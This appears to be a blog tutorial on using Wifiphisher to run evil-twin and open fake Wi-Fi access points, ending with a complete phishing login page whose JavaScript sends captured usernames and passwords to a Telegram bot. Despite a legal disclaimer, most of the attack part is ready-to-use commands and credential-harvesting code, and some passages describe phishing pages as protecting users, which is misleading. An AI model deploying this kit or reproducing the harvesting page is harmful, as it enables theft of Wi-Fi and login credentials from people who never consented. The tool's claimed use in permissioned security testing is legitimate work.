Creating a Fake Wi-Fi Network to Intercept Passwords

We all remember—law comes first, and complying with legal requirements is essential. That means everything below is solely for testing purposes and only after obtaining the owner’s permission. Let’s go!

Every day, new methods for hacking Wi-Fi networks emerge, prompting owners to pay closer attention to security. One tool that allows you to test the vulnerability of your Wi-Fi network is Wifiphisher.

Wifiphisher is a powerful open-source library designed for testing Wi-Fi network security through social engineering attacks. Let’s explore how this tool works, the scenarios it supports, and how it can be used.

Main Features of Wifiphisher

Creating fake access points (Fake AP):
Wifiphisher can create fake Wi-Fi networks that mimic real ones. This helps test how likely users are to connect to untrusted networks.
Evil Twin Attack:
The tool disconnects users from their current Wi-Fi network and redirects them to a fake access point, where the attacker can collect data.
Phishing Pages:
Wifiphisher provides the ability to set up fake login pages to ensure that users don’t enter their passwords on untrusted resources.
Flexible Configuration:
The library supports various attack templates and scenarios that can be customized to specific needs.

How to Install Wifiphisher

Installing Wifiphisher is straightforward, but it’s important to note that the tool only works on Linux. Here are the basic steps:

Make sure Python 3 and the pip package manager are installed on your device.

Clone the Wifiphisher repository from GitHub:

git clone https://github.com/wifiphisher/wifiphisher.git

Navigate to the project folder and install dependencies:
```
cd wifiphisher
sudo python3 setup.py install
```
Run the tool:
```
sudo wifiphisher
```

Examples of Using Wifiphisher

Scenario 1: Testing Network Resilience to an Evil Twin Attack

Launch Wifiphisher with the Evil Twin attack key:

sudo wifiphisher --essid "MyHomeWiFi" --channel 6

Users connected to the real network will be disconnected and redirected to your fake access point.
Set up a phishing page to ensure users don’t enter their data on untrusted resources. For example, to create a custom login page, use:
```
sudo wifiphisher --phishing-page-name "credentials"
```

Scenario 2: Creating an Open Fake Access Point

Launch Wifiphisher in Fake AP mode:

sudo wifiphisher --essid "FreeWiFi" --channel 11

Monitor in real-time how many users connect to your fake access point by observing the logs:
```
tail -f /var/log/wifiphisher.log
```
Need more detailed analysis of the collected data? Use built-in plugins:
```
sudo wifiphisher --plugin "plugin_name"
```

Scenario 3: Capturing Data via a Phishing Page

In addition to Wifiphisher’s built-in templates, you can create your custom page to capture passwords. Here’s an example of a simple login page that displays an authorization form and then sends the collected data to Telegram (how to do it is described here):

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Wi-Fi Login</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
margin-top: 50px;
}
.login-box {
width: 300px;
padding: 40px;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0,0,0,0.2);
background-color: #f1f1f1;
margin: auto;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 10px;
margin: 10px 0;
border: 1px solid #ddd;
border-radius: 5px;
}
button {
width: 100%;
padding: 10px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
}
button:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<div class="login-box">
<h2>Wi-Fi Login</h2>
<form id="loginForm">
<input type="text" id="username" placeholder="Wi-Fi Username" required>
<input type="password" id="password" placeholder="Wi-Fi Password" required>
<button type="button" onclick="submitForm()">Submit</button>
</form>
</div>
<script>
function submitForm() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
// Create a message to send to Telegram
var message = "Captured data:\nUsername: " + username + "\nPassword: " + password;
// Send data to Telegram via API
var botToken = 'YOUR_BOT_TOKEN';  // Replace with your token
var chatId = 'YOUR_CHAT_ID';      // Replace with your chat_id
var url = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;
// Send data using XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.send();
// Notify that data has been sent
alert('Your data has been sent!');
}
</script>
</body>
</html>

And a Brief Conclusion:

It’s important to understand that Wifiphisher is intended only for ethical hacking 🙂 Using it to test other people’s networks without the owner’s permission is a violation of the law. The tool is designed to help cybersecurity specialists identify vulnerabilities and prevent potential attacks.

Thank you for your attention. As always, if you have questions, feel free to reach out via email or Telegram.

Support the Blog!

Running a blog takes a lot of effort, time, and passion. Your donations help improve the content, inspire new ideas, and keep the project going.
If you’ve enjoyed the blog’s materials, any support would mean the world to me. Thank you for being here! ❤️

Donate via PayPal